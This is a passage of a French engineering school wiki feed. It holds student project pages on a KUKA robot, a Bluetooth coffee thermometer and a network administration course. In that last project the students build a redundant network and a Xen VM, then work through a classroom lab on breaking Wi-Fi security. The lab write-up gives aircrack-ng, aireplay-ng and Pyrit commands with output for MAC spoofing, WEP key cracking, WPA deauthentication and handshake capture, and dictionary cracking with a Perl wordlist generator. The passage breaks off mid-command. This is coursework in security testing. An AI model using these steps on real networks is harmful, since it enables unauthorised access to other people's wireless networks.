*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.&lt;br /&gt;
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Thermom%C3%A8tre_connect%C3%A9&amp;diff=24725</id>
		<title>Thermomètre connecté</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Thermom%C3%A8tre_connect%C3%A9&amp;diff=24725"/>
				<updated>2016-01-06T13:05:01Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Objectif du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet===&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de concevoir un thermomètre connecté afin de pouvoir déterminer la température d'un café et permettre à l'utilisateur de boire son café à la température souhaitée. Le thermomètre devra donc récupérer la température du café et envoyer les données à une application sur téléphone ( via l'utilisation du bluetooth).&lt;br /&gt;
&lt;br /&gt;
De plus, il faudra que le dispositif bénéficie d'un système de recharge afin de permettre son utilisation sur le long terme. Dans notre cas, nous allons utiliser l'effet thermo-électrique (recharge de la pile ou condensateur à l'aide du courant créé par la différence de température). Cette méthode étant peu efficace, il sera nécessaire de réduire au minimum la consommation de notre micro-processeur. Nous pouvons par exemple espacer les mesures de températures et aussi utiliser le mode sleep de notre processeur lorsqu'il n'est pas en utilisation.&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
Pour réaliser ce projet, nous allons utiliser le matériel suivant :&lt;br /&gt;
&lt;br /&gt;
* Capteur de température : LM35DM/NOPB&lt;br /&gt;
* Micro-processeur : RFDuino RFD22301&lt;br /&gt;
* Générateur : Pas encore trouvé, hésitation entre un super condensateur et une pile&lt;br /&gt;
&lt;br /&gt;
==Étapes du projet==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Partie 1 : &amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Partie 2 : &amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Partie 3 : &amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
===Séance 1 ===&lt;br /&gt;
===Séance 2 ===&lt;br /&gt;
===Séance 3 ===&lt;br /&gt;
===Séance 4 ===&lt;br /&gt;
===Séance 5 ===&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Thermom%C3%A8tre_connect%C3%A9&amp;diff=24724</id>
		<title>Thermomètre connecté</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Thermom%C3%A8tre_connect%C3%A9&amp;diff=24724"/>
				<updated>2016-01-06T13:00:01Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Objectif du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet===&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de concevoir un thermomètre connecté afin de pouvoir déterminer la température d'un café et permettre à l'utilisateur de boire son café à la température souhaitée. Le thermomètre devra donc récupérer la température du café et envoyer les données à une application sur téléphone ( via l'utilisation du bluetooth).&lt;br /&gt;
&lt;br /&gt;
De plus, il faudra que le dispositif bénéficie d'un système de recharge afin de permettre son utilisation sur le long terme. Dans notre cas, nous allons utiliser l'effet thermo-électrique (recharge de la pile ou condensateur à l'aide du courant créé par la différence de température)&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
Pour réaliser ce projet, nous allons utiliser le matériel suivant :&lt;br /&gt;
&lt;br /&gt;
* Capteur de température : LM35DM/NOPB&lt;br /&gt;
* Micro-processeur : RFDuino RFD22301&lt;br /&gt;
* Générateur : Pas encore trouvé, hésitation entre un super condensateur et une pile&lt;br /&gt;
&lt;br /&gt;
==Étapes du projet==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Partie 1 : &amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Partie 2 : &amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Partie 3 : &amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
===Séance 1 ===&lt;br /&gt;
===Séance 2 ===&lt;br /&gt;
===Séance 3 ===&lt;br /&gt;
===Séance 4 ===&lt;br /&gt;
===Séance 5 ===&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=24550</id>
		<title>PRA 2015 - Câblage d'un réseau redondant</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=24550"/>
				<updated>2015-12-29T16:54:25Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* La partie commune */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.&lt;br /&gt;
== Câblage du résau ==&lt;br /&gt;
=== Le réseau idéal ===&lt;br /&gt;
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Idéal.png]]&lt;br /&gt;
&lt;br /&gt;
Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.&lt;br /&gt;
&lt;br /&gt;
=== L'avancement du cablage du réseau ===&lt;br /&gt;
&lt;br /&gt;
L'image suivante détaille l'état du réseau avant le 07/10/2015.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Temporaire.png]]&lt;br /&gt;
&lt;br /&gt;
Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.&lt;br /&gt;
&lt;br /&gt;
== La partie commune ==&lt;br /&gt;
=== Création d'un site Web haute disponibilité ===&lt;br /&gt;
==== Installation de la machine virtuelle ====&lt;br /&gt;
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée &amp;quot;kwak&amp;quot;. Notre hôte est un serveur Xen 3.0.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/xen/kwak.cfg&lt;br /&gt;
kernel      = '/boot/vmlinuz-3.14-2-amd64'&lt;br /&gt;
extra       = 'elevator=noop'&lt;br /&gt;
ramdisk     = '/boot/initrd.img-3.14-2-amd64'&lt;br /&gt;
vcpus       = '1'&lt;br /&gt;
memory      = '512'&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
name        = 'kwak'&lt;br /&gt;
vif         = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ]&lt;br /&gt;
on_poweroff = 'destroy'&lt;br /&gt;
on_reboot   = 'restart'&lt;br /&gt;
on_crash    = 'restart'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous démarrons notre machine virtuelle.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# xl create /etc/xen/kwak.cfg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# xl console kwak&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous installons les services dont nous allons avoir besoin par la suite.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install apache2 bind&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Mise en place du service web ====&lt;br /&gt;
Pour réaliser notre site web, nous avons commencé par créer une page web basée sur notre nom de domaine: [http://pinkfluffyunicorn.lol pinkfluffyunicorn.lol]&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;script src=&amp;quot;https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;iframe style=&amp;quot;position:absolute;top:0px;left:0px;&amp;quot; id=&amp;quot;video&amp;quot; src=&amp;quot;https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&amp;amp;showinfo=0&amp;amp;showsearch=0&amp;amp;iv_load_policy=3&amp;amp;autoplay=1&amp;quot; frameborder=&amp;quot;0&amp;quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
  &amp;lt;script&amp;gt;&lt;br /&gt;
        $(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });&lt;br /&gt;
          $(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });});&lt;br /&gt;
        });&lt;br /&gt;
        &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tests de sécurisation de réseaux WiFi ===&lt;br /&gt;
==== Accès par filtrage MAC ====&lt;br /&gt;
Nous avons commencé par effectuer une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisée sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng start wlan0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons surveillé le réseau WiFi, nommé &amp;quot;baguette&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26&lt;br /&gt;
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -63        9        0    0   4  54e. OPN              baguette&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On spécifie alors le canal et le BSSID à utiliser pour plus de précision.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH  4 ][ Elapsed: 18 s ][ 2015-10-22 13:29                                           &lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -52 100      146        1    0   4  54e. OPN              baguette                                                                                                               &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 &lt;br /&gt;
C4:14:3C:40:78:60  00:15:AF:E7:19:F3  -59    0 - 5e     0        1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifconfig wlan1 hw ether C4:14:3C:40:78:60&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Accès par filtrage WEP ====&lt;br /&gt;
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airmon-ng &lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
&lt;br /&gt;
#airmon-ng start wlan3&lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
		(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)&lt;br /&gt;
		(mac80211 station mode vif disabled for [phy1]wlan3)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng wlan3mon&lt;br /&gt;
CH  9 ][ Elapsed: 0 s ][ 2015-11-12 11:58                                         &lt;br /&gt;
                                                                                                                                                                                                     &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                &lt;br /&gt;
 00:23:5E:1E:05:48  -57        2        0    0   7  54e. OPN              cracotte09                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:41  -56        3        0    0   7  54e. WEP  WEP         cracotte02                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:45  -57        3       22    0   7  54e. WEP  WEP         cracotte06                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:44  -56        2       19    0   7  54e. WEP  WEP         cracotte05                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:47  -55        3       42    0   7  54e. WEP  WEP         cracotte08                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:46  -55        1       67    0   7  54e. WEP  WEP         cracotte07                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:42  -56        2       67    0   7  54e. WEP  WEP         cracotte03                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:40  -57        2       98    0   7  54e. WEP  WEP         cracotte01                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:43  -58        4       99    0   7  54e. WEP  WEP         cracotte04                                                                                                           &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                            &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 04:DA:D2:CF:01:90  48:5A:3F:4C:37:61   -1    1e- 0      0        2                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:45  00:0F:B5:92:23:74  -64   54e-48e     2       21                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:44  00:0F:B5:92:23:6B  -65   48e- 2e    89        9                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:47  00:0F:B5:92:23:71  -67   54e-54e    39       37                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:46  00:0F:B5:92:23:69  -63   48e-54e     6       63                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:42  00:0F:B5:92:23:6A  -60   48e-54e     9       59                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:40  00:0F:B5:92:22:68  -55   36e-48e     9       94                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:43  00:0F:B5:92:23:75  -58   48e- 2e   145       93&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre cible étant le réseau &amp;quot;cracotte07&amp;quot;, nous spécifions donc le canal et l'ESSID&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon&lt;br /&gt;
CH  7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03                                         &lt;br /&gt;
&lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
 00:23:5E:1E:05:46  -64  17     1603    46339  201   7  54e. WEP  WEP         cracotte07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 110082 packets.&lt;br /&gt;
&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:23:5E:1E:05:46  cracotte07                WEP (6190 IVs)&lt;br /&gt;
&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Attack will be restarted every 5000 captured ivs.&lt;br /&gt;
Starting PTW attack with 6258 ivs.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous générons plus de flux à l'aide de aireplay.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aireplay-ng -5 -e cracotte07 wlan3mon&lt;br /&gt;
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)&lt;br /&gt;
12:02:11  Waiting for beacon frame (ESSID: cracotte07) on channel 7&lt;br /&gt;
Found BSSID &amp;quot;00:23:5E:1E:05:46&amp;quot; to given ESSID &amp;quot;cracotte07&amp;quot;.&lt;br /&gt;
12:02:11  Waiting for a data packet...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        Size: 70, FromDS: 0, ToDS: 1 (WEP)&lt;br /&gt;
&lt;br /&gt;
              BSSID  =  00:23:5E:1E:05:46&lt;br /&gt;
          Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;
         Source MAC  =  00:0F:B5:92:23:69&lt;br /&gt;
&lt;br /&gt;
        0x0000:  8841 2c00 0023 5e1e 0546 000f b592 2369  .A,..#^..F....#i&lt;br /&gt;
        0x0010:  ffff ffff ffff c014 0000 f898 0e00 8065  ...............e&lt;br /&gt;
        0x0020:  7e87 af6b e679 211e c9d6 1665 0b4f 7e2d  ~..k.y!....e.O~-&lt;br /&gt;
        0x0030:  6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35  l.-...?..1S./..5&lt;br /&gt;
        0x0040:  b7bd 03c5 5093                           ....P.&lt;br /&gt;
&lt;br /&gt;
Use this packet ? y&lt;br /&gt;
&lt;br /&gt;
Saving chosen packet in replay_src-1112-120211.cap&lt;br /&gt;
12:02:13  Data packet found!&lt;br /&gt;
12:02:13  Sending fragmented packet&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et enfin, aircrack trouve la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                                                                            Aircrack-ng 1.2 rc2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                            [00:02:12] Tested 853 keys (got 40800 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  9   55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) &lt;br /&gt;
    1    0/  1   52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) &lt;br /&gt;
    2    0/  1   55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) &lt;br /&gt;
    3   13/  3   79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) &lt;br /&gt;
    4    1/  4   CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) &lt;br /&gt;
&lt;br /&gt;
     KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==== Accès par filtrage WPA ====&lt;br /&gt;
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
my $ite = 0;&lt;br /&gt;
my $max = 1000000;&lt;br /&gt;
my $outp;&lt;br /&gt;
my $tmp;&lt;br /&gt;
for (my $j=0; $j &amp;lt; 100; $j++)&lt;br /&gt;
{&lt;br /&gt;
    $tmp = sprintf(&amp;quot;[%02d]\n&amp;quot;, $j);                                                                                                                                                               &lt;br /&gt;
    print STDERR $tmp;&lt;br /&gt;
    for (my $i=0; $i &amp;lt; ($max); $i++)&lt;br /&gt;
    {&lt;br /&gt;
        $outp = sprintf(&amp;quot;%08d\n&amp;quot;, $ite);&lt;br /&gt;
        $ite++;&lt;br /&gt;
        print $outp;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous lançons donc la génération avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ./gen.pl &amp;gt; dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
859M -rw-r--r-- 1 root root 859M nov.  13 09:41 dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau &amp;quot;Almost Secure WiFi&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# airodump-ng --channel 6 --essid &amp;quot;Almost Secure WiFI&amp;quot; -w dmp wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis, nous désauthentifions les clients déjà connectés pour récupérer le &amp;quot;handshake&amp;quot; qui permettra le décryptage de la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aireplay-ng -0 5 -e &amp;quot;Almost Secure WiFI&amp;quot; wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois la désauthentification envoyée, nous récupérons le &amp;quot;handshake&amp;quot; durant la reconnection des clients.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 2370 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:13:46:79:6A:1C  Almost Secure WiFI        WPA (1 handshake)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Attaque par dictionnaire=====&lt;br /&gt;
A partir du moment où nous disposons du &amp;quot;handshake&amp;quot;, deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng -w dico.txt *.cap&lt;br /&gt;
                                 Aircrack-ng 1.2 beta3&lt;br /&gt;
                   [00:58:30] 12121212 keys tested (3659.24 k/s)&lt;br /&gt;
                           KEY FOUND! [ 12121212 ]&lt;br /&gt;
      Master Key     : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62&lt;br /&gt;
                       F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45&lt;br /&gt;
      Transient Key  : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF&lt;br /&gt;
                       68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8&lt;br /&gt;
                       45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28&lt;br /&gt;
                       A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E&lt;br /&gt;
      EAPOL HMAC     : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.&lt;br /&gt;
=====Attaque par Rainbow Tables=====&lt;br /&gt;
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une &amp;quot;rainbow table&amp;quot; est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -e 'Almost Secure WiFI' create_essid&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Created ESSID 'Almost Secure WiFI'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la &amp;quot;rainbow table&amp;quot;. On remarqera que cette étape prend entre 5 à 10 secondes.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -i ./dic.txt import_passwords&lt;br /&gt;
